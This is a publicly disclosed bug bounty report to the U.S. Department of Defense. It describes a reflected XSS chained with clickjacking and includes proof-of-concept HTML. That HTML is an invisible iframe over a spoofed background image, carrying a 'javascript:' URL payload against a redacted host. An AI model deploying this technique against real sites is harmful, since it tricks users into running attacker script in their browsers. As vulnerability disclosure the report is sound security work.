HexBrain

U.S. Dept Of Defense · Report #1171403

Reflected XSS through ClickJacking

Validstatus
mediumseverity
14upvotes
15 Jun 2021disclosed

How it was found

Description:

Hello DoD team

i found an reflected XSS that require user interaction, but it's suspicious due the reflected payload in the page

███████

So in this case i chain it with click-jacking with image background same like the legal website to make it more trusting

████████

below is the code

<style>

div {
       position:absolute;
       top:200px;
       left:900px;
       
   }
 body {

 	background-image: url('1.png');
 	background-repeat: no-repeat;
 	background-position: 300px 5px;

 }
</style>

<iframe src="https://███████?URL=javascript:alert(document.domain)//%0D%0A&#x22;https://google.com" id="xxx" width=100% height=100% style="opacity: 0;"></iframe>

Impact

attacked can run malicious code in the victim browser

System Host(s)

www.██████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

host the provided code with the background image and send it to the victim

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original